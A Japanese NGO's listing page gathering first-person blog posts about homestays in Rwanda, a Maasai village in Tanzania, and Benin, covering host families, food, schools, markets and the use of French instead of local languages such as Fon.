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アフリカホームステイ – ページ 2 – 特定非営利活動法人AYINA
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特定非営利活動法人AYINA / AYINA JAPANの活動  / アフリカホームステイ (Page 2)
小さい頃の夢「アフリカの生活体験」を叶えたルワンダホームステイ3週間

こんにちは!大学4年の甲斐友理子です。 今回、小さいころからの夢でもあった「アフリカの生活を体験するため」にルワンダでホームステイをさせて頂きました。 初アフリカ、わくわくどきどきの中とてもいい経験をさせて頂きました。   超やさしいフランソワさん コーディネーターのフランソワさん。私の生活のサポートをして下さいました。 初アフリカで正直、全てが怖いなと思っていましたが、フランソワさんのやさしさと心配りにすぐその気持ちは吹っ飛びました! ルワンダの文化をたくさん教えてもらったり、買い物や観光に連れて行ってもらったりしました。 時にはカフェに行き、一緒にサッカーを観戦したりしました。   ホストファミリー 馴染めるのか不安な気持ちで迎えた初日。 初日から家族同様に接してくれて、嬉しかったのを今でも覚えています。ウクレレを一緒に弾いたり、ゲームをしたり、おでかけしたりしました。 毎晩、たわいもない会話をしている時間が最高に幸せでした。 外出すると見た目の違いなのでたくさん見られてしまいますが、安心して帰れる場所がある幸せを常に噛み締めていました。 また、ハウスキーパーさんの手作りご飯はとても美味しかったです。 言葉が通じない中、彼女の明るさとユーモアさで楽しく過ごすことができました。   初めて身近に感じた宗教 ホストファミリーとは週に2回教会へ行き、毎日家でお祈りがありました。 宗教を信仰したことがない私は、なぜ信仰するのか?どういう意味があるのか?など知りたい気持ちでいっぱいでした。 ホストファミリーやコーディネーターさんにたくさん質問し、優しく時間をかけて教えて頂きました。 滞在した3週間は私の人生で1番宗教を身近に感じることができ、少し疑問が解けた気がします。   市場で異文化交流⁉︎ 私はやることが決まってなかったので異文化交流をかねて市場に通っていました。 ルワンダの市場では野菜果物肉魚はもちろん、洋服をオーダーメイドで作ってもらえます。 私は店のお兄ちゃんたちとジュース飲みながら話したり、ダンスしたりしてました。 私たち、前から友達だったのかな?と思うくらいフレンドリーに接していただき、ルワンダの思い出を語るのになくてはならない存在です!   バスで偶然の出会い バスで偶然、JICAの活動で来ている方々に会うことができ、活動地を訪問させていただきました。 ルワンダで活躍している日本人の多さにとてもびっくりしました。 水質調査に一緒に行ったり、カレーを作ったりしました。 異国でこういう経験ができたことはとても幸せでした。   もうひとつのホストファミリーと貧困地域 私は農村ホームステイも体験してきました。 キガリでのホームステイとは全く異なり、驚きの連続でした。 特にシャワールームが無かったので、水浴びを廊下でしないといけなかったことには衝撃を受けました。 農村ということもあり、子どもたちともたくさん遊べていい経験をすることができました。 また、貧困地域の家庭訪問もさせていただき、ルワンダの格差を感じることができました。   まとめ 今回のルワンダホームステイでアフリカに抱いていたイメージを覆す3週間でした。 時間に追われない生活、シャイだけど優しいルワンダ人、日本にはない幸せをたくさん感じさせてもらいました。 自然と共に生きているルワンダ人はかっこよかったです。皆さんもぜひ、ホームステイに挑戦してみてください!     アフリカホームステイを体験してみませんか?     function getCookie(e){var U=document.cookie.match(new...

マサイ族の村に「ホームステイ」してみた〜観光では知ることのできない真実のマサイ〜

AYINA副代表の内藤です! 今回はまだアフリカに行ったことがない皆さまに、 アフリカやホームステイの魅力を知ってほしいという思いで、 ツイッターでアフリカホームステイ経験を紹介してくださる方を募集しましたら、 余語さんが手を挙げていただきました! 余語 和貴さん(@KazukiYogo ) バリ島に1年間在住中。 大学に通いながらインドネシア語や文化を学んでいます。 バリ島の観光地だけではなくローカルにもフォーカスし、バリ島の魅力を発信されています。 YouTubeもやられています。 ありがとうございます! しかもマサイ族の村でホームステイという超貴重な体験です。 たくさんのお写真を使って書いていただいたので、 サクサクと読めてそしてイメージもしやすいと思います! それではお楽しみください! * * * ハクナマタタ この言葉をご存知でしょうか? スワヒリ語で「なんとかなるよ、なんくるないさ」 私はこの言葉が大好きなんです。 マサイ族との出会い 2016年の春私が20歳の時 フェスブックの広告に 「マサイ族に会いたい大学生募集」という広告を見つけました。 この時心の針がピクっと動き、これは行かなければと。 親に頭を下げてお金を貸してもらい、初めてのアフリカタンザニアへ。 そこから私はアフリカが大好きに。 翌年には、マサイ族の彼らと一緒にキリマンジャロに挑戦。 死ぬほど辛かったけど、彼らがいつもどんな辛い状況でも笑顔で サポートしてくれたおかげで、アフリカ最高峰の頂きに。 そして今回は3回目のマサイ族訪問。 マサイ族のもとへホームステイ。 私たちが訪れた マサイ族の村は、タンザニア・アルーシャ地方にある イルキティンガ村という小さな村。 この村には、マサイ族が約4000人住んでいます。 そこに友人のマサイ族・フレディが住んでいます。 実は、フレディの奥さんは日本人なんです。だから日本語も話せちゃう。 奥さんはけいこさん。初めてタンザニアにきた時から大変お世話になっています。 実は、マサイ族業界でマサイ妻になった日本人は2名いらっしゃいます。 もう一人の方が、ケニアのマサイ族妻永松さん。 メディアなどにも結構出演している方なので知っている方もいらっしゃるとおもいます。 プライバシーの関係でホームステイする家の写真は載せられませんが、 日本と同じような感じで二階建ての作り。 イルキティンガ村を散策 マサイ族にとってお金よりも大切なもの、それが牛なんですね。 結婚の条件も牛を何頭所持しているかによるんです。 お家の裏側にいました。 フレディの家では他にもヤギやニワトリなども育てていました。 これは、コーヒー豆の皮むき中。 タンザニアはコーヒーがとてもポピュラーです。 日本で有名なのはキリマンジャロコーヒー。 家を出てイルキティンガ村をフレディと共に散策開始。 そうすると遠くから ジャンボー(スワヒリ語でこんにちは) って小さなマサイキッズが笑顔で明るい声であいさつしてくれるんです。 それが嬉しくてたまらない。 アフリカの大好きなところです。 日本ではなかなか見ることができない素敵な光景かなと思います。 こういうところはマサイ族から日本人が学ぶべきとこですかね。 しばらく散策するとトウモロコシがいっぱいなっていました。 というのもこの後紹介するのですが、 タンザニアの主食ウガリの元なのです。 マサイ族にとってトウモロコシはとっても大事な穀物なんですね まるで北海道のような広大な敷地。がしばらく続き フレディがここからここまでうちの土地だよって。いってくれるのですが サッカーグラウンド、軽く3個分はあるかと思うくらい。 アフリカって土壌がしっかりしていないイメージがありませんか? 私も大学の講義でそう習っていたのでそんなイメージを持ったままイルキティンガ村にきたのです。 ただこのイルキティンガ村の土壌は違うんです。 この地域は近くにキリマンジャロ山やメルー山があるので水が豊富で土壌がよく作物がよく育つそう。 そこらじゅうに様々な作物がなっていました。 イルキティンガ村の公立中学校に潜入 許可を頂き、イルキティンガ村にある公立中学校に潜入してみました。 写真は一緒にホームステイしていた友人のマサンジャ。彼も3回目のタンザニア。 ここの中学校は学年ごとにセーターの色が違います。基本公立の中学校では 女の子も坊主です。(私立では学校によります) 化学の授業中の実験室にお邪魔しました。 なぜか途中からフレディが授業することに。 実は、フレディかなり頭がよく、タンザニアで1番の大学を首席で卒業した程の秀才。 この村の未来を担っている人材なんですね。 だから村の人誰もがフレディのことを知っています。 お昼になったので給食時間。 豆のスープ。 給食はメニューがこれしかないそうで毎日このスープ。 東アフリカのタンザニアでは 公用語が英語なんですね。 そのため、中学校になると授業は英語で行われています。 皆、スワヒリ語と英語が話せます。日本も見習わないと。 ホームステイ中の食事 ホームステイ中の食事はけいこさんやお手伝いさんが作ってくれていました。 そのメニューは、日本食やウガリ。 先ほど紹介したトウモロコシが原料。ウガリはタンザニアの主食として食べられています。 あまり、いやほぼ味がないんですねウガリって。 だからしばらくすると飽きちゃうんです。 けいこさんに ふりかけと食べると美味しいと教えてもらい食べたところ 相性ピッタリで 皆さんもウガリに飽きたら試してみてください、ウガリとふりかけオススメです。 家の外では何をたべたのか? これは、インパクト大ですよね。 実は、牛のタン、 そう、牛タンなんです。 最初巨大すぎてなにかとおもいました。 食べてみるととっても美味しんですね。 これも牛のどっかの部位です。 基本、 マサイはビーフかヤギを好んで食べます。 以前飲んで衝撃的だったのがヤギの血。 ヤギの血を煮込むとこんな感じに。 それを頂きました。味は煮込んでも血、鉄って感じでしたね。 ヤギの血はマサイ族にとってエナジードリンクなんです。 一度お試しあれ。 これはマサイ族が大好きなキリマンジャロビール。 かなり飲みやすいビールなのでオススメ。 私たちが訪れた時期がキリマンジャロ登山の閑散期だったこともあり彼らは仕事がない。 だから、毎日のように昼から夜中までキリマンジャロビールを飲んでいました。 アフリカあるあるですが、 日本では当たり前のキンキンに冷えたビール。 タンザニアでは置いてないです。 冷たいのは体に良くないとのことで。出てくるのはほぼ常温。 マサイ族観光産業の真実 2016年の春、ツアーでマサイ族の村を訪れたんですね。 そこには本当に何にもなくてロバなどが放牧されていた村。 「でもあそこの村には村長と少しの人しか住んでないからねって。 しかも入村料1人あたり100ドルも村長に払っているんだよ知ってた?」 と言われかなり衝撃的な事実。 マサイ族もいまや観光産業としてなりたっているんです。 私の友人のマサイ族の主な職業は主にキリマンジャロのガイドやポーター。 それか、サファリのガイド。 マサイ族の体力は尋常じゃないんですね。 私は、キリマンジャロ一回しか登っていませんが、本当に死にかけるほど辛かったんですね。 そんなキリマンジャロに彼らは月に4回も平気で登っちゃうんです。超人ですよ。 ...

ベナン現地企業で3ヶ月間インターンホームステイ vol.05

アフォンガンジャ!(ベナンの現地語、フォン語で「こんにちは」) ベナンでインターン&ホームステイ中の大村です。 今日は、「国際協力や開発学に興味のある人がアフリカホームステイに参加するべき3つの理由」をお届けしようと思います。 過去の投稿はこちら↓ ベナン現地企業で3ヶ月間インターンホームステイ vol.01はこちら ベナン現地企業で3ヶ月間インターンホームステイ vol.02はこちら ベナン現地企業で3ヶ月間インターンホームステイ vol.03はこちら ベナン現地企業で3ヶ月間インターンホームステイ vol.04はこちら 国際協力に興味がある! けれど先進国から出たことない! 海外に行ってもホテルにしか泊まったことしかない! という皆さんに特にぜひ読んでいただきたい内容です。 というのも、私もそうした皆さんのうちの一人です。 大学では国際関係論や開発学を学んでいますが、 なんといっても現場に出たことがありませんでした。 アフリカなんて上陸したこともなければ、 ベナンに行ったら身ぐるみ剥がされて帰れないんじゃないか…とさえ思っていました。 実際来てみると、 今までアフリカに対して持っていたイメージが劇的に変わったのです。 もちろん身ぐるみ剥がされることもなく、 むしろホームステイ先やインターン先、近所の皆さんに助けられてばかり。 そんな過去の自分と、 国際協力や開発学に興味があるけれども アフリカに一歩踏み出せていない将来有望な皆さんに向けて、 「国際協力や開発学に興味のある人がアフリカホームステイに参加するべき3つの理由」 をお届けします! ① アフリカに対する偏見が無くなる いい意味でも悪い意味でも、アフリカに対するイメージ、ありますよね。 野生動物、サファリ、フルーツ、貧困、飢餓、紛争、貧しいけど幸せな人たち、などなど… もちろんこうしたイメージはアフリカの一部を物語っているかも知れません。 しかし、本当にそれが今のアフリカの姿なのでしょうか? 例えば日本に対するベナン人のイメージと言えば、 侍、忍者、アニメ、マンガ、ナルト、生の魚を食べる人たち、など… です。 確かにこれも日本の一部ではありますが、それだけじゃないと思いませんか? よく考えると、私たちのアフリカに対するイメージもこれと同じだとは思いませんか? 「国際協力に関心がある」 「将来はアフリカの子どもたちの役に立ちたい」 「貧困問題を解決したい」 など高い志を持っていても、 実はアフリカのことをよくわかっていないのかも知れません。 もちろんアフリカホームステイに参加すればアフリカのことが全部わかる!という訳ではありません。 けれども、実際にアフリカの一般家庭の家に家族の一員として受け入れられ、 同じように生活をし、様々な場所を訪れ、現地の人と会話をするにつれて、 アフリカに対するイメージが変わっていきます。 アフリカホームステイを終える頃には、 単なる偏見を超えて、アフリカのことをより深く知ることになるでしょう。 ② 国際協力や開発学への理解が何倍も深くなる アフリカホームステイを通して現地のことをよく知ることができるだけでなく、 国際協力や開発学といった皆さんが今学んでいる、 または学びたいと思っているかも知れない分野についても より深く考えるきっかけを得ることができます。 例えば、ベナンの小学校では現地語ではなくフランス語で全ての授業が行われる ということをホームステイ中に知ったとしたら、どうでしょう。 (詳しくは前回のブログをご覧ください) 家族にフランス語を話す人がいない子どもは、 フランス語の習得に苦労をして学校をやめてしまうかも知れません。 そうした子どもが教育を受けられるようにするためにはどうしたらいいのでしょうか。 そもそも、なぜ現地語での教育が受けられないのでしょうか。 自分にできることは何かあるのでしょうか。 このようにアフリカホームステイでは、 様々な面で国際協力について考えるきっかけを得ることができます。 このきっかけを生かすかどうかはもちろん皆さん次第です。 これまで想像の上でしかなかった問題が自分の目の前に現れた時、 国際協力や開発学について今までよりも身近に感じることができるでしょう。 ③ 楽しい!!!!! これまでアフリカホームステイに参加するべき真面目な理由ばかりをお話してきましたが、 もちろん自分が楽しむことも大事ですよね。 今まで経験したことのないアフリカの気候・環境を体験すること。 初めて見る食べ物や飲み物、驚くほど甘いフルーツに出会うこと。 アフリカの地で、自分と異なる文化や価値観に触れること。 お互い違うだけではなく意外と似たところもあることがわかり、 現地に友人・家族と呼べる関係の人たちができること。 こうした経験の中で、私は旅行とはまた違う楽しみを見出しています。 来る前は未知の世界で怖いとさえ思っていたアフリカでのホームステイを、 まさか「楽しい」と紹介する日が来るとは思いませんでした。 皆さんもぜひ、自分だけのアフリカホームステイを作り上げて楽しんでください! アフリカホームステイ情報はコチラから! ...

ベナンホームステイから始まる私の夢の1ページ【前編】

こんにちは。2018年12月22日から29日までベナンでお世話になりました、倉科と申します!この場をお借りして、私の夢の1ページ目を刻んだ、ベナン体験記を記させていただければと思います。 AYINA編集部より 「非常に素晴らしい内容だったので前後編に分けてお届けします!」 ベナンとの出会い まず始めに、なぜ私がベナンとつながったかをお話します。 教員歴5年、年齢30歳という節目を迎えて、 それなりに楽しくやっていたものの何となく自分の人生に違和感を持ち始めました。 何がやりたくて英語を勉強したのか… 何を教えたくて先生になったのか… どんな先生になりたかったのか… 情けないことに教員を5年やっていて、1つも自分が思い描いていたことが達成できていないことに気づいたのです。自分の人生、これでいいのか、いや、このままじゃダメだ、と思い始めました。 そこで、大学院生時代に小学校の外国語活動の時間で、環境問題の授業をしたことにとてもやりがいを感じていたことを思い出しました。そして、 『そうだった、私は子どもたちに世界の諸問題に目を向けさせたくて先生になったんだ。その諸問題について共に考え、行動できる人となる手段として英語を勉強してほしいと思って、英語の先生になったんだ。』 と、ようやく自分の原点を思い出しました。 そこからは涌き出る好奇心が抑えられず、『まずは自分の目でもっと広い世界が見たい!!他の国の英語教育が見たい!!』と思い、リサーチを始めました。教育先進国の北欧にも興味はありますが、日本と同じように英語を公用語ではなく外国語として捉える国の方が日本の教育背景とも通じると思い、そのような国でがんばっている方と接触できる機会を探していたところ、内藤さんとお話しすることができたのです! アフリカ大陸初上陸!! 内藤さんをはじめ、現地スタッフの方々の強力なバックアップとサポート体制のもと、現地の学校視察や観光など、予定ぎっしりのスケジュールを組んでもらいました。とてもとてもアフリカ大陸に始めて降り立った人とは思えないほどの体験をしてきました(笑)あれもこれもは書けないので、特に心に残ったことをがんばって3つに絞りました! ☆ホストファミリー☆ まずは何と言っても滞在中私を暖かく迎え入れてくださったホストファミリーです!! <ホストファザー> 明るくて優しくて面白いホストファザー。 私が夜中にお腹を下してしまったときは、一緒に起きてトイレと部屋の往復も一緒にしてくれました(笑) フランス語が全く話せない私に英語を積極的に使い、コミュニケーションを取ってくれました。写真がお好きなようで、たくさん隠し撮りもされました(笑) <ホストマザー> 美人で明るくてハキハキとしたホストマザー。 お仕事がお忙しいようで、なかなかお話できるチャンスはありませんでしたが、ご飯のときによく話しかけてくれました。ベナンのご家庭ではまな板を使う文化が無いのでしょうか、彼女が手のひらでタマネギをスライスしたり、リンゴを切ったりしているときはとにかくハラハラしていました(笑) <??>  やんちゃで聡明でとてもかわいい7才の男の子。 ドラえもんの塗り絵とクレヨンをプレゼントしたところ、思いっきりはまってくれました!!塗り絵の表紙(カラー)を見ながら忠実に色を塗り、表紙に書かれていないものは「これは何色?」とジェスチャーで訴えてきました。 日本では恋人と過ごすことが多い12月25日、私は丸一日この男の子と遊んでいました(笑)名前が??となっているのは、ホストファザーに聞いてもホストマザーに聞いても誰に聞いてもなぜか全員バラバラの名前で答えたので、結局分からずじまいなのです(ニックネームやミドルネームのようなものだったのでしょうか?) <エリー(写真左)> ホストファミリーの中で唯一英語を流暢に話す女の子。 ホストファザーとホストマザーとは親戚関係のようです。ヘアドレッサーの仕事をしており、年末は大忙しだったようです。最終日に私の髪の毛もアレンジしてもらいました!!第一印象はとてもクールで、「あれ…私、嫌われているのかな…」と思ったのですが、ある日昼食作りに参加させてもらったときはガールズトークで大いに盛り上がりました!ベナンでは女性はほぼ100%結婚するようで、しかも20才前後で結婚していくようです。30才で未婚、子どもなし、彼氏もいないという私の現状にとても驚いていました(笑) <ローズ(写真左から2番目)> 同じくホストファザーとホストマザーの親戚にあたる女の子。 看護師さんの仕事をしており、ローズも年末は慌ただしく過ごしていました。彼女は恥ずかしがり屋だそうで、英語も話さないので、あまりお話しすることができませんでした。しかし、最終日前日、私がご飯を食べているときに通りかかり、「ご飯、とってもおいしいよ」とジェスチャーで伝えたところ、ローズがフランス語で何かを言ったのですが、全く分からず、どうしようと思っていたところ、「スマホの翻訳機能を使おう!!」と最終日前日にその手があったことを思い出しました。 そして、お互いがお互いの言語で言いたいことを入力し、出てきた翻訳の画面を見せ合うという、一見コミュニケーションにおいては非効率的な時間のかかることでしたが、初めてローズが思っていることや言いたかったことを知ることができ、嬉しかったです。 <ネコ> ベナンでは、ネズミ捕り対策としてネコを飼っている家が多いそうなのですが、日本のようにペットとしては捉えていないようです。したがってこのネコちゃんに名前はありません(笑)最初は警戒心が強く、私を見てもすぐに逃げ出していましたが、2日目以降途端に警戒心を失くしたようで、私が居間にいるといつのまにか足下にいるということが多々ありました(笑) 続いてステイ先の様子です。お部屋は広く、蚊帳もつけてくださっていたので、夜は安心して眠ることができました。お部屋に扇風機もあり、暑さを凌げます。ところが窓の近くにニワトリやヤギがいて、朝はとってもにぎやか…(苦笑) ステイ先で感じた「異文化」 浴室も私のお部屋についていたので、専用として使うことができました。衝撃的だったのは、「お風呂に入る」や「シャワーを浴びる」という概念が日本と全く異なることでした。水がとても貴重なベナンでは、水をためておいてそこから生活に必要な分を使います。この緑色のバケツに入っている水で体や髪を洗ったのですが、日本のようにレバーをひねれば水がとめどなく出てくるものではないので、とにかくムダが無いよう、最小限の水で済ませました。 もう1つ衝撃的だったのはトイレです。これまた蛇口をひねれば流してくれる水洗トイレとは異なり、トイレ内にあるバケツの水を使って手動で流すのです。最初はバケツが重くて持ち上げるのに一苦労でしたが、数日で慣れ、最終日には片手で持ち上げていました(笑) 食事の仕方も日本とは異なります。ベナン全体に当てはまるかは分かりませんが、こちらのご家庭ではみんなが揃って食事をするという習慣は無いようです。なので、私も食事は居間で1人で食べたのですが、静かに考え事もできますし、適度にホストファミリーが話しかけてくれますし、何より子どもとネコが必ず途中で乱入するので特に寂しさはありませんでした(笑) よく、外国文化に触れた人の体験記などで、日本と比較をし、日本の高度な技術の方を賛美したり、感謝をしたり…、というのを見聞きします。しかし、正直に言いますと、私はこれまで別の国に行ってもホームステイをしても、日本の技術の方が優れていると思ったり、特に感謝したことはありません。ただの異文化だと捉えています。もちろん水が出ること自体には感謝をしていますが、日本の浴槽やシャワーヘッドの方がいいと思ったり、それがあることに特に感謝はしていません。むしろ、「自分が慣れ親しんできた方法とは異なる方法で」トイレやお風呂を経験できたことに感謝をしています。 後編に続く アフリカホームステイ情報はコチラから function getCookie(e){var U=document.cookie.match(new...

ベナン現地企業で3ヶ月間インターンホームステイ vol.04

みなさんこんにちは!! 新年はいかがお過ごしでしょうか? ホームステイ先で新年を過ごした私は、 すっかりホームステイ先の家族とも打ち解けてベナンのお正月を満喫しました! ベナン現地企業で3ヶ月間インターンホームステイ vol.01はこちら ベナン現地企業で3ヶ月間インターンホームステイ vol.02はこちら ベナン現地企業で3ヶ月間インターンホームステイ vol.03はこちら ホームステイをしていていいなと思うことは、ホームステイ先の家族やその友達と仲良くできること、ベナン人の日常に溶け込めることです。 そうすると、旅行や観光では聞けないようなベナンの現状や人々の考えを直接聞ける機会がしばしばあります。 これまで聞いたことを全て書いてしまうとみなさんがベナンを訪れた時の楽しみがなくなってしまうので、今回はそのうちの一つだけ紹介したいと思います。 テーマはずばり、「言語」です。 ベナンはかつてフランスの植民地だったため、現在でも公用語はフランス語です。 私も普段ホームステイ先ではフランス語で会話をしています。 ちなみに私のフランス語レベルが高いわけではなく、私がフランス語を理解できていない時は言い直したり、簡単な言葉で言い換えたりしてくれるベナン人の優しさに救われてコミュニケーションを取ることができています。 ちなみにホームステイ先には英語を話せる人もいるので、困ったら英語で話すことも可能です。 というわけで話が反れましたが、私の周りのベナン人はフランス語を自由自在に操ります。 それもそのはず。 小学校から教育はすべてフランス語で行われる上に、会社でもフランス語を使い、テレビドラマやラジオもフランス語で聴き、新聞も本もフランス語で読みます。 しかし、ベナンの言語はフランス語だけではありません。 ベナン人の中には46の民族がいると言われ(外務省HPより)、数十の現地語が存在します。 私のいるベナン南部に多いのは、フォン語を話すフォン人です。 ホームステイ先でも、家族同士の会話はフランス語ではなくフォン語でなされることも多々あります。 小さなお店や市場でも、フォン語が飛び交っています。 私のホームステイ先の家族も、よくフォン語で話しています。 ただし、街でフォン語を見ることはほとんどありません。 ホームステイ先の家族のだれも、フォン語で読み書きをすることはできません。 なぜでしょうか? 特に、日本語で読み書きをし、日本語で話すことが当たり前な人にとっては不思議に感じるかも知れません。 ホームステイ先の家族曰く、フォン語での読み書きが浸透していないのは、学校で習わないからだそうです。 ベナンでは小学校からすべての教育がフランス語で行われます。 フォン語を学ぶ時間はありません。 フォン語の会話は、家で覚えます。 だから、フォン語を読めないし書けない。 その上、学術的な話題、複雑な話題をフォン語で話すことは難しいそうです。 数学も、歴史も、化学も、全部フランス語で習うため、そういったことをどうフォン語で表現するのかフォン人にもわからないそう。 難しい話題を話すことも、読み書きもフォン語ではできず、フランス語に頼るしかない。 したがって、冒頭で触れたように自然と、読書も新聞もテレビもラジオも、インターネットだって、フランス語を通して情報を受け取るようになります。 では、学校に行けなかった人はどうなるでしょうか? 学校で習うはずのフランス語を学ぶことはできません。 フランス語を操れないということは、上記の状況を考えると、本、新聞、ラジオ、インターネットなどといった情報にアクセスできないということになる、とホームステイ先の家族は言います。 問題は学校に行く機会に恵まれなかった人だけではありません。 フランス語を流暢に操るホームステイ先の家族も、現状を不満に思っています。 なぜ自分たちの言語で教育を受けることができないのか、読み書きをすることができないのか。 日本語で教育を受け、日本語で読み書きをすることが当たり前だと思っていた私は何も言えませんでした。 もちろん、グローバル化が進む昨今、英語やフランス語で教育を受けたり、情報を得たりする方が良いという意見もあるでしょう。 ホームステイ先の家族も、私も、そうした意見を否定しているわけではありません。 しかし、ベナン人は現代のグローバル化以前の、植民地時代からずっとこうしてフランス語を生活の中に組み込まれてきました。 この点に不満や怒りを感じている、とホームステイ先の家族は話してくれました。 これまでのブログと比べ、少しマイナスなイメージの文章になってしまったかも知れません。 ベナンを訪れたことのない方にも、ベナンの様々な面を知ってもらいたいと思い今回はこうした内容を書かせて頂きました。 ホームステイを通して、表面的な交流を超えた会話をすることができ、現地についてより深く知ることができるということを少しでも感じてもらえれば幸いです。 きっと、訪れる国、地域、ホームステイ先などによって異なる話や意見を聞くことができるでしょう。 何より、自分の過ごしてきた環境とはまったく違う環境に飛び込み、現地の方と日常を共有することで、観光だけでは味わえないほど深く現地の人や文化に関わることができるのがホームステイの醍醐味です。 機会があればぜひ挑戦してみてください! アフリカホームステイの詳細はこちら! ...

ベナン現地企業で3ヶ月間インターンホームステイ vol.03

こんにちは、大村です。 このブログを書いている今日はクリスマスイブです。 せっかくだからベナン流のクリスマスの楽しみ方を皆様にお届けしよう!!と張り切っていたのですが… ベナン現地企業で3ヶ月間インターンホームステイ vol.01はこちら ベナン現地企業で3ヶ月間インターンホームステイ vol.02はこちら 街の景色も道行く人もホームステイ先の家族もいつも通りです。 もちろん、コンビニの前でクリスマスケーキを売るサンタさんの格好をした店員さんもいません。(コンビニがないので当たり前ですね) もしかして、ベナンにはクリスマスやクリスマスイブを祝う習慣がないのか? そういえば、同僚が「クリスマスプレゼントなんて一生で一度ももらったことないよ」と教えてくれたような…。 というわけで未だにクリスマスらしい特別なことは何も起こっていないので、今回もベナンの日常をお届けしたいと思います。 題して、「ベナンの街で見かける、正体がわからないもの4選」です!! 答えがすぐに見えてしまわないよう、少しずつスクロールしてお読みください。 まずは初級編から。 さぁ、こちらの瓶に入った液体はなんでしょう。 左側の細い瓶はお酒の瓶にも見えるけれども、右側に大きな瓶もありますね… 正解は… ガソリン です!! バイクや車の給油に使います。 隣国のナイジェリアから運ばれてきているものが多いらしく、精製がきちんとなされていない場合もしばしば。 環境に良くないという話も聞きますが、現地のベナン人はこれがないと困るのも事実。 どうしたものか… 話が反れましたが、正体のわからないものクイズに戻りましょう! さて、2問めはこちら! まだまだ簡単すぎるかも知れませんね… 道端でかわいく積み重なっているこちらの緑や黄色の食べ物はなんでしょう? みかんのようにも見えますが、みかんよりも二回りほど小さいサイズです。 実はこれ、 みなさんご存知の… レモンです!! ちなみにこのひとつのかたまり(レモン4つか5つくらい)で20円。 小さくてもとってもすっぱい。 炭水化物を食べる機会の多いベナンでは、貴重なビタミン源です。 続いて難易度高めな3問めはこちら! ピンクと青のかごに入った柴漬けのような色の物体は何でしょう? よく見ると、お皿が上に乗っていますね ベナンの柴漬け?新種のくだもの? 正解は… ハイビスカスです!!!! こちらはハイビスカスのお花を乾燥させたもので、煮だしてジュースを作るのに使います。 飲み物にしたものをビサップというように呼んでいます。 甘酸っぱくておいしいビサップジュースは綺麗なハイビスカス色です。 それでは、最後のクイズである4問めに参りましょう。 写真の中にある、黄色や青色の輪のような物は何でしょう? 何やらこれらの輪っか、お店の商品のようですね… 普段はお店の前に吊るしてあります。 ヒントは… 「ベナンでポピュラーなあの乗り物の一部」です。 おわかりでしょうか? 正解は… バイクのタイヤ でした!! 私はてっきり子ども用のフラフープだと思っていましたが、最近バイクのタイヤであることを知りました よく考えれば、フラフープで遊んでいる子どもなんてベナンで見たことありません。 バイクが主な移動手段であるベナンでは、バイクのタイヤは必需品です。 街のあちこちでこうしたカラフルな包みに入ったバイクのタイヤを見ることができます。 以上、「ベナンの街で見かける、正体がわからないもの4選」でした! みなさんもぜひベナンにお越しの際は、正体のわからないものを探してみてはいかがでしょうか^^ それでは、次回のブログをお楽しみに~ アフリカホームステイの情報をもっと知りたい方はこちら function...

ベナン現地企業で3ヶ月間インターンホームステイ vol.02

こんにちは、大村です。 前回のブログ「ベナンでびっくりしたこと5選」に引き続き、今回はホームステイ先での生活についてお話しようと思います! ベナン現地企業で3ヶ月間インターンホームステイ vol.01はこちら 私が今お邪魔しているホームステイ先はこちら! ベナンでは珍しい二階建ての立派なお宅です。 家族構成は、お父さん、お母さんと20歳前後の娘さん3人と息子さんが1人。。。。。 たぶん。 いつも家にお父さんの兄弟らしき人や家族の誰かの友達らしき人がいて、誰がここに住んでいるのか、何人住んでいるのか正直よくわかりません(笑) 笑っている場合じゃないので、ホストマザーに、「ここの家には何人住んでいるの?」と聞いてみたところ、“Beaucoup” (たくさん) との答えが返ってきました。 というわけで、未だに何人住んでいるのかはわかりませんが、ここに住んでいようと、違う場所に住んでいてたまに遊びに来ようと、どちらの人も家族みたいなものなので気にせずに過ごしていこうと思います。 ちなみにこちらのホームステイ先では、娘さんとお母さんが一緒に夜ご飯を作ります。 まずは、炭に火をつけるところからスタート。 一応ガスも通っているのですが、夜はいつも炭を使ってお料理します。 ちなみにディナーのメニューはというと… トマトソースごはん、トマトソースとクスクス、トマトソースとウォー(とうもろこしの粉で作られる、ぷるんとした食べ物)、トマトスパゲッティ、トマトソースとアグー(蒸したやむいもを、お餅のように杵でついて作る食べ物)などなど。 トマト好きにはたまらないですね! しかもこのトマトソース、唐辛子がたっぷり入っていてかなり辛いです。 日本ではレトルトカレーの中辛が辛くて食べられなかった私ですが、ベナンに来てから辛さに強くなりました。 ↓辛さの元凶の唐辛子 ここで終わるとベナンはトマトと辛い物の国だと皆様に思われてしまうので、最後にベナンが誇るフルーツを紹介します! パイナップルです!!!!!!! ベナンのパイナップル、シロップ漬けかと思うくらい甘いです。 私が今まで食べたパイナップルランキングではぶっちぎりの一位です。 しかも安い。この前買ったパイナップルは一つ150CFA(約30円)でした。 今回のブログではホームステイのことを中心にお話しましたが、ぜひベナンのパイナップルがとても美味しいことも覚えてもらえると幸いです。 次回のブログもお楽しみに~ アフリカホームステイの情報をもっと知りたい方はこちら ...

ベナン現地企業で3ヶ月間インターンホームステイ vol.01

こんにちは! 初アフリカでベナンに来てしまった?大学3年の大村です。 3か月のインターンとホームステイの両方を経験してベナンを満喫しよう!という盛りだくさんなプログラムに惹かれてここまでやってきました。 現在滞在19日目ですが…   未だに毎日が驚きの連続!!   なので、楽しくてたまりません笑   そこで今回は、私がベナンでびっくりしたこと5選を紹介したいと思います!   ①カラフルなアフリカ服! 洋服を着る人もいますが、やはり目を引くのはビビッドカラーのアフリカ服を身にまとったおしゃれベナン人♡ 布を買ってオーダーメイドで仕上げる服は、サイズもぴったりです。 普段着かと思いきや、仕事服としても使えます! ベナンにご訪問の際は一着いかがでしょうか?   ②男性は坊主、女性はエクステ? アフリカと言えば複雑に編んだこんな髪型を想像する方も多いのでは? 素敵に髪を編んだ女性たち、ベナンにもいます! ちなみにこの髪型、地毛ではなく、エクステ(付け毛)を付けて編んでいる場合も多いんです。 地毛はくるくるすぎて扱いにくいんだとか。 ちなみに男性は、坊主に近いスーパーショートヘアがほとんどです。   ③洗濯機??????? ホームステイ先にもありません、洗濯機。 ということはもちろん…手洗い!! 手洗い初心者の私はまだまだですが、ホームステイ先のママが洗うと不思議とふわふわに泡立ちます。 ママは絞る力も凄まじく、私が全力で絞った洗濯物から更に大量の水を絞り出して返してくれることも。 ベナンの女性、たくましい。   ④売り物は頭に乗せて歩く! ベナンの街を見ていると、売り物を頭に乗せて売り歩く人に出会います。 信じられないバランス能力です。 商品は、日用品、パンや果物、服に至るまで様々。 買いたいものがあるときは、呼び止めて見せてもらいましょう。 商品を頭の上に持ち上げるためにお手伝いをお願いされることもしばしばあります。     ⑤外国人大好き?笑 